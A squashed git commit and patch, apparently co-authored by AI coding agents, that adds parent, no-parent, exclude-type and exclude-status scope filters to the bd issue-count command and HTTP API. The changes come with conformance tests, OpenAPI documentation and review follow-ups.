- Effective style/explode (B): walkParam records style and explode with OpenAPI 3.0's defaults filled in (form for query/cookie, simple for path/header; explode defaults to style == form). Adding `explode: false` to a query array that relied on form's implicit explode is now a changed entry, while spelling out a default changes nothing. testdata/golden.json is regenerated with -init: 111 parameter entries change only in style/explode (96 to form/true, 15 to simple), 828 entries before and after, wire_revision stays 2. The golden is new in this PR and unreleased, so this needs no bump. - TestWalkParam (H): a package-internal table test (wireshape_internal_test.go) pins every field walkParam extracts, through a computeFrom(document, revision) seam that Compute now wraps: per-location defaults, $ref'd parameters and items, format, nullable and default, content parameters, and the nil returns. TestEffectiveSerializationIsCompared pins B end to end through Compare and SafeToWrite. BUILD.bazel embeds the library in the go_test, which is gazelle's own output. - Required inputs and the digest boundary (C, E, F; docs only): all five prose surfaces (openapi.v0.yaml's wire_revision description and the regenerated apigen/types.gen.go, wireshape/doc.go, CHANGELOG.md, engdocs/design/bd-serve-v0.md) now say that a new REQUIRED request input is recorded as an ordinary addition and needs its own review, that value constraints and member-level composition are outside the digest, and that object and content parameters are recorded only as their container. bd-serve-v0.md also gains the parameter coverage it was missing. - G: a brand-new operation is permanently exempt from the capability-token rule; its own review decides its capability story. - Iteration 2 (nit): walkParam's comment now says that the location default it records as a `content` parameter's style and explode is a placeholder, since OpenAPI 3.0 applies style and explode only to a parameter described by `schema`. All 138 operation parameters in the spec use `schema`, so the golden does not change. Validated: go test ./internal/httpapi/... (gms_pure_go), make api-check, go vet for linux/windows/darwin, gofmt, git diff --check, gazelle on the package (no drift), make bazel-sync-check, and bazel test //internal/httpapi/wireshape/... in the local processwrapper sandbox (2 of 2 pass). Overlay mutation probes: dropping the added-after-bump arm, the lowered-revision arm, SafeToWrite's lowered check, or the effective-default fill each turns the new tests red. Iteration 2 changes only that comment; go test ./internal/httpapi/wireshape/... (gms_pure_go), go vet, gofmt and git diff --check pass again. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * feat(count): add Counter scope fields (S8) — ParentID, NoParent, ExcludeTypes, ExcludeStatus Extends issueops.CountRequest with ParentID, NoParent, ExcludeTypes and ExcludeStatus, closing the gap where bd count could not express the filters bd list already has, forcing downstream consumers like gc to fall back to listing everything just to get a count. - issueops.Counter: four new CountRequest fields, documented against the List equivalents they mirror (ParentID/ExcludeTypes) or newly define (NoParent, ExcludeStatus has no List counterpart). Status "all" is pinned as equivalent to unset, matching BuildListFilter's own "all" and preserving count/list cardinality parity (the role's reason to exist). - internal/workapi.BuildCountFilter: maps the four fields onto the one types.IssueFilter builder all three storage legs (dolt, embeddeddolt, uow) already share via internal/storage/issueops and sqlbuild, so no per-leg storage code was needed. - cmd/bd: --parent, --no-parent, --exclude-type, --exclude-status flags. - HTTP: adds parent/no_parent/exclude_type/exclude_status to GET /v0/beads/issues:count, behind the new issues.count.scope behavior token (routes.go), wired in reads.go's countFilters, documented in openapi.v0.yaml with per-parameter tokens and an extended capabilities description. gendigest confirms a byte-identical golden.json: query parameters are outside the wire-shape digest's scope, so this is a zero-diff, no-revision-bump change as expected. - backend/conformance: four new Counter contract cases (ParentID scoping, NoParent's edge-only semantics vs ParentID's edge-or-dotted-id match, ExcludeTypes composing with include_infra's own exclusions, and ExcludeStatus), run identically against all three storage legs via a new CounterFixture.AddDependency hook shared with ReaderFixture. Verified: go build ./...; go test ./internal/httpapi/... ./internal/workapi/... ./issueops/... and the Counter contract on all three legs (dolt via testcontainers, embeddeddolt, uow via local dolt binary); make api-gen (additive-only apigen diff) and make api-check; go vet and golangci-lint clean; gofmt clean; gazelle diff empty (no new files/imports). Mutation testing: dropping issues.count.scope from behaviorCapabilities turns TestCapabilitiesAdvertiseEveryImplementedOperation, TestSpecCapabilityVocabularyMatchesTheRouteTable and TestNewParameterOnExistingOperationHasABehaviorToken red; no-op'ing ExcludeStatus in BuildCountFilter turns TestBuildCountFilterExcludeStatusTakesNamesAsWritten and the embeddeddolt ExcludeStatusNarrowsThePredicate conformance case red. Both reverted and reconfirmed green. Deviation: DESIGN.txt's literal text would make count --status all an ErrValidation; shipped behind a test and a doc comment instead, since "all" already means "every status" on both count and list and rejecting it would break the count/list parity this role exists to guarantee. S3/S4 note: no OSS HTTP client exists yet to enforce capability-token skew. A doc comment on CapIssuesCountScope in routes.go specifies the required behavior once one lands: check issues.count.scope against the cached handshake capabilities and refuse locally with a typed ErrUnsupported{Capability} before sending any of the four new params to an older server. Co-Authored-By: Claude Sonnet 5 * fix(count): S8 review follow-ups — refusal parity, exclude-status validation, doc fixes, parity tests Addresses the Opus review's six required changes for S8 (bd count scope fields): 1. BuildCountFilter now refuses ParentID+NoParent together as ErrValidation, matching bd list's CLI refusal wording; wired through the role, the CLI, and invalid_argument classification in internal/httpapi/reads.go. 2. Status:"all" is documented in DESIGN.txt as every status, matching List's no-filter reading (count/list cardinality parity) — a coordinator decision recorded in beads-design/DESIGN.txt, outside this worktree. 3. ExcludeStatus names are now validated against the workspace vocabulary (built-in statuses plus workspace-custom ones); an unknown name is ErrValidation instead of a silent no-op, since a typo here would overcount. 4. Fixed openapi.v0.yaml and issueops/reader.go doc claims about bd list --parent's default tree-walk vs. the one-level role answer that bd count --parent agrees with (confirmed by tracing list_show_filter_modes.go); fixed an Oxford-comma nit in routes.go and the spec. 5. Added storage-level count == len(List) parity tests for ParentID, NoParent and ExcludeTypes (List has no ExcludeStatus counterpart), plus wisp-child and closed-child contract cases, across all three backends (dolt, embeddeddolt, uow). CounterFixture gained a List hook for this. 6. Extended the routes.go skew note: gc's ErrCountUnsupported fallback to List is now named explicitly, with a note that S3/S4 must add a skew test that masks the token and asserts the fallback fires. Also fixed RunCounterExcludeStatusNarrowsThePredicate's now-stale "unrecognized status excludes nothing" assertion to expect ErrValidation instead. Co-Authored-By: Claude Sonnet 5 * fix(count): PR #7199 review follow-ups — exclude-status config load, ParentID doc swap Addresses bee's REQUEST-CHANGES on gastownhall/beads#7199 (S8): 1. BLOCKER: storecounter.filter and uow.countFilter only loaded the workspace list config when IncludeInfra was set, so BuildCountFilter's ExcludeStatus validation refused a workspace's own custom status unless the caller also passed the unrelated IncludeInfra flag. Both legs now load the config when IncludeInfra OR len(ExcludeStatus) > 0, with comments corrected to say so. Added leg-level regression tests (the conformance fixture cannot drive a workspace-configured custom status) on embeddeddolt and uow, reproducing the reviewer's CLI repro directly, plus an HTTP-level probe in cmd/bd's real-Dolt proxied count test. 2. issueops.ReadyRequest.ParentID's comment had been overwritten with the one-level direct-children wording that belongs to ListRequest.ParentID; Ready actually walks all descendants via GetDescendantIDsInTx (GH#3396). Restored the descendants comment on ReadyRequest.ParentID and moved the one-level explanation to ListRequest.ParentID, which had none. Verified: make api-check; dolt-server, embeddeddolt and uow Counter contract legs (BEADS_TEST_DOLT_SERVER=local with a pinned dolt binary for uow; Docker for the dolt-server leg); the new proxied HTTP exclude_status probe (BEADS_TEST_PROXIED_SERVER=1). Co-Authored-By: Claude Sonnet 5 * chore(wireshape): add the countIssues scope parameters to the wire-shape golden #7182 now digests operation parameters. The four new issues:count parameters (parent, no_parent, exclude_type, exclude_status) are additive entries, so no wire_revision bump is needed; regenerated with gendigest. Co-Authored-By: Claude Opus 5.5 (1M context) * test(conformance): register the S8 count-scope cases with RunRoleContracts (adopt-pr #7199) The PR adds nine RunCounter* contract cases to counter_contract.go and wires them into the three in-tree TestCounterContract legs, but not into the Counter row of roleContractCases. TestRoleContractCasesCoverEveryContractCase derives the expected set from source, so it fails on the PR head, and an external backend running RunRoleContracts would never see the new cases. Register them in source-declaration order (after RunCounterAnUnknownStatusMatchesNothing), which the same guard enforces. Co-Authored-By: Claude Opus 5.5 * docs(count): correct the S8 scope docs the review found wrong (adopt-pr #7199) Comment and spec-description fixes only; no behavior change. Review-loop iterations 1 and 2 of the #7199 relaunch. - ListRequest.ParentID (issueops/reader.go) said "DIRECT children only ... the same one-level clause". The sqlbuild clause has two arms and neither walks: the parent-child edge arm stops at one level, but the dotted-prefix arm (`id LIKE CONCAT(?, '.%')` for rows with no parent-child edge) reaches every edge-less dotted id at any depth, which RunReaderListParentReachesEveryDescendantAndOnlyItsOwn pins with an edge-less X.1.1. State both arms, and say the CLI tree view re-runs the clause against the store once per level (findAllDescendants calls SearchIssues, not the role). Document ListRequest.NoParent, which had no doc. The contributor's ReadyRequest.ParentID text is kept; only its cross-reference to this field changes from "one-level" to "non-walking". - CountRequest.NoParent (issueops/counter.go) and the count flag comment (cmd/bd/count.go) said NoParent counts rows with "neither" an edge nor a dotted prefix. Its SQL checks only the edge table, so an edge-less X.1 is counted by both --parent X and --no-parent, as bd list lists it. - RunCounterExcludeStatusNarrowsThePredicate's header said an unrecognized name "excludes nothing rather than failing" while its body asserts ErrValidation. The header now matches the body. - The OpCountIssues entry in problem.go's operationCodes said the role has "exactly one reachable refusal". It has three: an invalid metadata key, an unrecognized exclude_status name, and parent with no_parent (named no_parent), all classified by invalidFilterParam. The code set is unchanged. - BuildCountFilter's header said cfg is "only read under IncludeInfra". It is also read to validate ExcludeStatus against the workspace's custom statuses, which is why both callers load it when ExcludeStatus is non-empty. - The countIssues `parent` description in openapi.v0.yaml carried the same one-level claim as ListRequest.ParentID; it now states both arms. types.gen.go is regenerated (make api-gen); make api-check passes. Review fixes (iteration 2), still comment and spec text only: - The iteration-1 problem.go rewrite called all three count refusals ErrValidation. Only the exclude_status and parent-with-no_parent refusals wrap issueops.ErrValidation (internal/workapi/count.go). The metadata-key refusal is ValidateMetadataFilters' plain fmt.Errorf chain, so errors.Is(err, ErrValidation) is false for it; it reaches the wire as a 400 only because invalidFilterParam matches message prefixes. The comment now says that, so a later move to typed errors cannot trust it and demote the metadata-key refusal to a 500. The sentinel itself is not added here: ValidateMetadataFilters is shared with the list and ready builders. - invalidFilterParam's comment on the count rows pointed at the metadata-key rows as "above"; they come after it in the switch. - The countIssues `parent` description said the CLI tree mode walks "every edge-linked descendant". findAllDescendants re-runs the full two-arm predicate per level, so it also descends through edge-less dotted ids; it now says "every descendant reachable through either arm". types.gen.go is regenerated; make api-check passes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * chore(wireshape): re-record the count scope params under the base's param digest (adopt-pr #7199) The base branch (feat/wire-revision-signal, #7182 be1f0bad72) now digests the effective style/explode of scalar query parameters. This PR's golden entries for countIssues query:parent and query:no_parent were written by the old algorithm, so after the base refresh TestWireShapeDigest reported them as "changed without a wire_revision bump". No bump is owed: all four count-scope entries (parent, no_parent, exclude_type, exclude_status) are additions this PR introduces and are absent from the base golden. golden.json was reset to the base copy and regenerated with `go run ./internal/httpapi/wireshape/cmd/gendigest`. The result is four pure additions against the base (+35/-0); parent and no_parent gain "style": "form" and "explode": true, and wire_revision stays 2. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * ci: place the PR's new embedded counter test in the shard manifest TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra, added to internal/storage/embeddeddolt in f23bf5ddbf, is a new top-level embedded storage test. The 15-shard block of .github/scripts/embedded-storage-test-shards.txt must list every discovered test exactly once. Without the entry, TestStorageEmbeddedShardManifestGeneratorNotStale (scripts/) fails, both on the reviewed head 89a387de6c and on the merge. CI never ran the check on this PR: pr.yml runs only for PRs based on main, release/** or hotfix/**, and this PR was based on feat/wire-revision-signal until the retarget. Generated with `python3 scripts/ci/gen_embedded_storage_shard_manifest.py 15 --weights=duration --write`. The incremental write adds this one line, in shard 4, and moves no other test. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- .../scripts/embedded-storage-test-shards.txt | 1 + backend/conformance/counter_contract.go | 330 ++++++++++++++++++ backend/conformance/role_bundle_cases.go | 9 + cmd/bd/count.go | 23 ++ cmd/bd/count_filter_test.go | 111 ++++++ .../serve_count_proxied_integration_test.go | 45 +++ internal/httpapi/apigen/types.gen.go | 26 +- internal/httpapi/count_test.go | 13 + internal/httpapi/problem.go | 16 +- internal/httpapi/reads.go | 22 ++ internal/httpapi/reads_test.go | 2 + internal/httpapi/routes.go | 45 ++- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 102 +++++- .../httpapi/wireshape/testdata/golden.json | 35 ++ .../storage/dolt/counter_contract_test.go | 45 ++- .../embeddeddolt/counter_contract_test.go | 109 +++++- internal/storage/uow/counter.go | 9 +- internal/storage/uow/counter_contract_test.go | 127 ++++++- internal/workapi/count.go | 60 +++- internal/workapi/count_test.go | 198 +++++++++++ internal/workapi/storecounter/counter.go | 17 +- issueops/counter.go | 48 +++ issueops/reader.go | 33 +- 24 files changed, 1391 insertions(+), 37 deletions(-) diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 8723a463d..1502ba993 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -211,6 +211,7 @@ 15 3 TestUpdateMergeOps_DoltEngine_TwoIssues 15 3 TestWithPeerAuth_RestoresAbsentEnv +15 4 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra 15 4 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed 15 4 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded 15 4 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane diff --git a/backend/conformance/counter_contract.go b/backend/conformance/counter_contract.go index e70e2e0f2..b18f5fd3f 100644 --- a/backend/conformance/counter_contract.go +++ b/backend/conformance/counter_contract.go @@ -57,6 +57,19 @@ type CounterFixture struct { // A nil hook means "this backend cannot observe history", and the case // that needs it SKIPS rather than passing quietly. CountHistory func(context.Context) (int, error) + // AddDependency seeds one dependency edge, the same hook + // ReaderFixture/DependencyEditorFixture take it from (role_fixture_kit's + // shared AddDependency). It exists here only for the ParentID/NoParent + // scope cases (S8): NoParent excludes by PARENT-CHILD EDGE alone + // (sqlbuild/filter.go), unlike ParentID's dotted-id-prefix fallback, so + // pinning it needs a real edge and not just a naming convention. + AddDependency func(context.Context, *types.Dependency, string) error + // List runs the List role's query directly (the store's IssueReader), so + // the storage-level parity cases below (S8 review, follow-up #5) can + // compare Count's answer against len(List's rows) for the same scope + // without going through a second builder. A nil hook skips those cases + // rather than failing: not every backend wiring has a Reader to hand. + List func(context.Context, publicops.ListRequest) (publicops.IssuePage, error) } // RunCounterCountsTheDurablePlaneByDefault pins counter.go:123-126 from the @@ -176,6 +189,323 @@ func RunCounterAnUnknownStatusMatchesNothing(t *testing.T, ctx context.Context, assertCounterTotal(t, ctx, fixture, scope, 0) } +// RunCounterParentIDScopesToChildren pins CountRequest.ParentID (counter.go, +// S8): restricted to ONE issue's children, reached two ways at once, exactly +// as ListRequest.ParentID is (sqlbuild/filter.go) — a parent-child dependency +// edge, OR (for a row with no such edge) a dotted-id prefix match. The parent +// itself, an unrelated row and a same-prefix DECOY (sibling id with no +// separator, e.g. "parent2") are all seeded so neither arm can pass by +// over-matching. +func RunCounterParentIDScopesToChildren(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-parentid-parent" + byEdge := fixture.IssuePrefix + "-parentid-byedge" + byDotted := parent + ".1" + decoy := parent + "x" + unrelated := fixture.IssuePrefix + "-parentid-unrelated" + + for _, id := range []string{parent, byEdge, byDotted, decoy, unrelated} { + seedCounterIssue(t, ctx, fixture, counterSeed(id)) + } + requireCounterAddDependency(t, fixture) + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: byEdge, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", byEdge, parent, err) + } + + scope := counterScope(parent, byEdge, byDotted, decoy, unrelated) + scope.ParentID = parent + // Both children count; the parent, the decoy and the unrelated row do not. + assertCounterTotal(t, ctx, fixture, scope, 2) +} + +// RunCounterNoParentExcludesChildren pins CountRequest.NoParent +// (counter.go, S8): restricted to rows with NO parent-child edge. +// +// Unlike ParentID, NoParent's SQL clause (sqlbuild/filter.go) checks ONLY the +// parent-child dependency table, not the dotted-id convention — a row that is +// a dotted-id child with no edge at all still passes NoParent. That asymmetry +// is exactly what the "byDotted" row below pins: it is excluded from +// ParentID's answer by nothing (RunCounterParentIDScopesToChildren already +// admits it), but NoParent admits it too, because it carries no edge. +func RunCounterNoParentExcludesChildren(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-noparent-parent" + child := fixture.IssuePrefix + "-noparent-child" + byDotted := parent + ".1" + + for _, id := range []string{parent, child, byDotted} { + seedCounterIssue(t, ctx, fixture, counterSeed(id)) + } + requireCounterAddDependency(t, fixture) + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: child, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", child, parent, err) + } + + scope := counterScope(parent, child, byDotted) + assertCounterTotal(t, ctx, fixture, scope, 3) + + scope.NoParent = true + // child is excluded (has an edge); parent and byDotted remain (neither + // carries a parent-child edge, and NoParent does not consult the dotted + // naming convention at all). + assertCounterTotal(t, ctx, fixture, scope, 2) +} + +// RunCounterExcludeTypesNarrowsThePredicate pins CountRequest.ExcludeTypes +// (counter.go, S8): named types are excluded from the count, composing with +// (rather than replacing) IncludeInfra's own "gate" exclusion. +func RunCounterExcludeTypesNarrowsThePredicate(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + task := fixture.IssuePrefix + "-extype-task" + chore := fixture.IssuePrefix + "-extype-chore" + gate := fixture.IssuePrefix + "-extype-gate" + seedCounterIssue(t, ctx, fixture, counterSeed(task)) + choreSeed := counterSeed(chore) + choreSeed.IssueType = types.TypeChore + seedCounterIssue(t, ctx, fixture, choreSeed) + gateSeed := counterSeed(gate) + gateSeed.IssueType = types.IssueType("gate") + seedCounterIssue(t, ctx, fixture, gateSeed) + + scope := counterScope(task, chore, gate) + assertCounterTotal(t, ctx, fixture, scope, 3) + + scope.ExcludeTypes = []string{"chore"} + assertCounterTotal(t, ctx, fixture, scope, 2) + + // Composes with IncludeInfra's own default gate exclusion: both the + // explicit chore exclusion and the include-infra gate exclusion apply at + // once, leaving only task. + scope.IncludeInfra = true + assertCounterTotal(t, ctx, fixture, scope, 1) +} + +// RunCounterExcludeStatusNarrowsThePredicate pins CountRequest.ExcludeStatus +// (counter.go, S8): a Count-only field with no List counterpart. Named +// statuses are excluded, and — UNLIKE Status — an unrecognized name is +// refused as ErrValidation rather than excluding nothing, because a typo +// would silently overcount (counter.go). +func RunCounterExcludeStatusNarrowsThePredicate(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + open := fixture.IssuePrefix + "-exstatus-open" + closed := fixture.IssuePrefix + "-exstatus-closed" + seedCounterIssue(t, ctx, fixture, counterSeed(open)) + closedSeed := counterSeed(closed) + closedSeed.Status = types.StatusClosed + seedCounterIssue(t, ctx, fixture, closedSeed) + + scope := counterScope(open, closed) + assertCounterTotal(t, ctx, fixture, scope, 2) + + scope.ExcludeStatus = []string{"closed"} + assertCounterTotal(t, ctx, fixture, scope, 1) + + // Unlike Status and IssueType, ExcludeStatus IS validated (S8 review, + // follow-up #3): a misspelled entry would silently exclude nothing and + // OVERCOUNT, so an unrecognized name is refused as ErrValidation instead + // of treated as a no-op. + scope.ExcludeStatus = []string{"no-such-status"} + if _, err := fixture.Counter.Count(ctx, scope); !errors.Is(err, publicops.ErrValidation) { + t.Errorf("Count with an unrecognized exclude-status = %v, want ErrValidation", err) + } +} + +// requireCounterAddDependency skips a case that needs a real parent-child +// edge when the fixture offers no way to create one, rather than failing with +// a nil-pointer call — mirroring counterHistoryCount's optional-hook pattern. +func requireCounterAddDependency(t *testing.T, fixture CounterFixture) { + t.Helper() + if fixture.AddDependency == nil { + t.Skip("fixture cannot seed a dependency edge: AddDependency is nil") + } +} + +// requireCounterList skips a case that needs the List role when the fixture +// offers no way to reach it, mirroring requireCounterAddDependency. +func requireCounterList(t *testing.T, fixture CounterFixture) { + t.Helper() + if fixture.List == nil { + t.Skip("fixture cannot run the List role: List is nil") + } +} + +// assertCounterMatchesList compares Count's Total against len(List's rows) +// for the same scope, with List's AllFlag and IncludeAllTypes both set so +// List's own default exclusions (status, pinned, template, gate, infra-plane) +// are lifted exactly as far as Count's own default lifts none of them +// (workapi.BuildCountFilter's doc, count.go) — the one combination that +// makes the two cardinalities comparable at all for an arbitrary scope. +// +// This is a DIFFERENT check than +// TestBuildCountFilterParentFieldsMatchListFilter +// (internal/workapi/count_test.go), which compares the two FILTERS a shared +// request builds without touching a store; this one runs both roles against +// a real backend and compares what they actually return (S8 review, follow-up +// #5). +func assertCounterMatchesList(t *testing.T, ctx context.Context, fixture CounterFixture, idFilter, parentID string, noParent bool, excludeTypes []string) { + t.Helper() + countReq := publicops.CountRequest{ + IDFilter: idFilter, + ParentID: parentID, + NoParent: noParent, + ExcludeTypes: excludeTypes, + } + total := counterTotal(t, ctx, fixture, countReq) + + listReq := publicops.ListRequest{ + IDFilter: idFilter, + ParentID: parentID, + NoParent: noParent, + ExcludeTypes: excludeTypes, + AllFlag: true, + IncludeAllTypes: true, + } + page, err := fixture.List(ctx, listReq) + if err != nil { + t.Fatalf("List(%+v): %v", listReq, err) + } + if got := int64(len(page.Items)); got != total { + t.Errorf("Count(%+v) = %d, len(List(%+v).Items) = %d, want equal", countReq, total, listReq, got) + } +} + +// RunCounterParentIDMatchesListCardinality pins the storage-level half of +// CountRequest.ParentID's promise (S8 review, follow-up #5a): for one scope, +// Count's Total equals len(List's rows) for the equivalent ParentID scope. +func RunCounterParentIDMatchesListCardinality(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + requireCounterList(t, fixture) + requireCounterAddDependency(t, fixture) + + parent := fixture.IssuePrefix + "-parity-parentid-parent" + byEdge := fixture.IssuePrefix + "-parity-parentid-byedge" + byDotted := parent + ".1" + unrelated := fixture.IssuePrefix + "-parity-parentid-unrelated" + + for _, id := range []string{parent, byEdge, byDotted, unrelated} { + seedCounterIssue(t, ctx, fixture, counterSeed(id)) + } + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: byEdge, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", byEdge, parent, err) + } + + idFilter := counterScope(parent, byEdge, byDotted, unrelated).IDFilter + assertCounterMatchesList(t, ctx, fixture, idFilter, parent, false, nil) +} + +// RunCounterNoParentMatchesListCardinality pins the storage-level half of +// CountRequest.NoParent's promise (S8 review, follow-up #5a). +func RunCounterNoParentMatchesListCardinality(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + requireCounterList(t, fixture) + requireCounterAddDependency(t, fixture) + + parent := fixture.IssuePrefix + "-parity-noparent-parent" + child := fixture.IssuePrefix + "-parity-noparent-child" + byDotted := parent + ".1" + + for _, id := range []string{parent, child, byDotted} { + seedCounterIssue(t, ctx, fixture, counterSeed(id)) + } + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: child, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", child, parent, err) + } + + idFilter := counterScope(parent, child, byDotted).IDFilter + assertCounterMatchesList(t, ctx, fixture, idFilter, "", true, nil) +} + +// RunCounterExcludeTypesMatchesListCardinality pins the storage-level half of +// CountRequest.ExcludeTypes' promise (S8 review, follow-up #5a). ExcludeStatus +// has no List counterpart (counter.go) so it is not part of this parity +// family; RunCounterExcludeStatusNarrowsThePredicate above is its only +// coverage. +func RunCounterExcludeTypesMatchesListCardinality(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + requireCounterList(t, fixture) + + task := fixture.IssuePrefix + "-parity-extype-task" + chore := fixture.IssuePrefix + "-parity-extype-chore" + seedCounterIssue(t, ctx, fixture, counterSeed(task)) + choreSeed := counterSeed(chore) + choreSeed.IssueType = types.TypeChore + seedCounterIssue(t, ctx, fixture, choreSeed) + + idFilter := counterScope(task, chore).IDFilter + assertCounterMatchesList(t, ctx, fixture, idFilter, "", false, []string{"chore"}) +} + +// RunCounterParentIDIncludesAWispChild pins that ParentID's edge match reaches +// into the wisp tier exactly as IncludeInfra's merge does (S8 review, +// follow-up #5b): a child seeded in the ephemeral/wisp tier, linked to its +// parent by the same parent-child edge ParentID matches on, is invisible to +// Count's durable-only default and counted once IncludeInfra merges the wisps +// table in. +func RunCounterParentIDIncludesAWispChild(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + requireCounterAddDependency(t, fixture) + + parent := fixture.IssuePrefix + "-wispchild-parent" + wispChild := fixture.IssuePrefix + "-wispchild-child" + seedCounterIssue(t, ctx, fixture, counterSeed(parent)) + seedCounterWisp(t, ctx, fixture, counterSeed(wispChild)) + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: wispChild, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", wispChild, parent, err) + } + + scope := counterScope(parent, wispChild) + scope.ParentID = parent + // Durable-only default (counter.go, RunCounterCountsTheDurablePlaneByDefault): + // the wisp child is invisible without IncludeInfra. + assertCounterTotal(t, ctx, fixture, scope, 0) + + scope.IncludeInfra = true + assertCounterTotal(t, ctx, fixture, scope, 1) +} + +// RunCounterParentIDAndExcludeStatusComposeOnAClosedChild pins that ParentID +// and ExcludeStatus apply as a conjunction, not alternatives (S8 review, +// follow-up #5b): a closed child under its parent is counted by ParentID +// alone (Count hides nothing by default), and excluded once ExcludeStatus +// names its status, leaving only the open child. +func RunCounterParentIDAndExcludeStatusComposeOnAClosedChild(t *testing.T, ctx context.Context, fixture CounterFixture) { + t.Helper() + requireCounterAddDependency(t, fixture) + + parent := fixture.IssuePrefix + "-closedchild-parent" + openChild := fixture.IssuePrefix + "-closedchild-open" + closedChild := fixture.IssuePrefix + "-closedchild-closed" + seedCounterIssue(t, ctx, fixture, counterSeed(parent)) + seedCounterIssue(t, ctx, fixture, counterSeed(openChild)) + closedSeed := counterSeed(closedChild) + closedSeed.Status = types.StatusClosed + seedCounterIssue(t, ctx, fixture, closedSeed) + for _, child := range []string{openChild, closedChild} { + if err := fixture.AddDependency(ctx, &types.Dependency{ + IssueID: child, DependsOnID: parent, Type: types.DepParentChild, + }, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", child, parent, err) + } + } + + scope := counterScope(parent, openChild, closedChild) + scope.ParentID = parent + assertCounterTotal(t, ctx, fixture, scope, 2) + + scope.ExcludeStatus = []string{"closed"} + assertCounterTotal(t, ctx, fixture, scope, 1) +} + // RunCounterGroupsPartitionTheScalarSet pins counter.go:168-169 and :244-245 // for a dimension whose buckets do NOT overlap: the grouped Total is the same // number a scalar Count returns, and the buckets partition it exactly. diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index bbbb1fa29..22bf1173a 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -186,6 +186,15 @@ var roleContractCases = []roleContract{ RunCounterIncludeInfraExcludesGates, RunCounterCountsClosedRows, RunCounterAnUnknownStatusMatchesNothing, + RunCounterParentIDScopesToChildren, + RunCounterNoParentExcludesChildren, + RunCounterExcludeTypesNarrowsThePredicate, + RunCounterExcludeStatusNarrowsThePredicate, + RunCounterParentIDMatchesListCardinality, + RunCounterNoParentMatchesListCardinality, + RunCounterExcludeTypesMatchesListCardinality, + RunCounterParentIDIncludesAWispChild, + RunCounterParentIDAndExcludeStatusComposeOnAClosedChild, RunCounterGroupsPartitionTheScalarSet, RunCounterLabelBucketsOverlapSoTotalIsNotTheirSum, RunCounterNamesTheEmptyBuckets, diff --git a/cmd/bd/count.go b/cmd/bd/count.go index 01f3d7d04..46ea46845 100644 --- a/cmd/bd/count.go +++ b/cmd/bd/count.go @@ -93,6 +93,13 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun includeInfra, _ := cmd.Flags().GetBool("include-infra") metadataFieldFlags, _ := cmd.Flags().GetStringArray("metadata-field") includeEphemeral, _ := cmd.Flags().GetBool("include-ephemeral") + parentID, _ := cmd.Flags().GetString("parent") + noParent, _ := cmd.Flags().GetBool("no-parent") + if parentID != "" && noParent { + return issueops.CountRequest{}, "", HandleErrorRespectJSON("--parent and --no-parent are mutually exclusive") + } + excludeTypes, _ := cmd.Flags().GetStringSlice("exclude-type") + excludeStatus, _ := cmd.Flags().GetStringSlice("exclude-status") request := issueops.CountRequest{ Status: status, @@ -111,6 +118,10 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun IncludeInfra: includeInfra, IncludeEphemeral: includeEphemeral, + ParentID: parentID, + NoParent: noParent, + ExcludeTypes: excludeTypes, + ExcludeStatus: excludeStatus, } if len(metadataFieldFlags) > 0 { request.MetadataFields = make(map[string]string, len(metadataFieldFlags)) @@ -271,6 +282,18 @@ func registerCountFlags(cmd *cobra.Command) { cmd.Flags().String("title", "", "Filter by title text (case-insensitive substring match)") cmd.Flags().String("id", "", "Filter by specific issue IDs (comma-separated)") + // Hierarchy and exclusions (same spelling as `bd list`'s flags of the same + // name, GH#4387's count/list parity): --parent and --no-parent restrict to + // a parent's children or to rows with no parent-child edge (an edge-less + // dotted-id child still counts as top-level, as in `bd list --no-parent`); + // --exclude-type and --exclude-status narrow the predicate by type and by + // status, composing with --include-infra's own exclusions 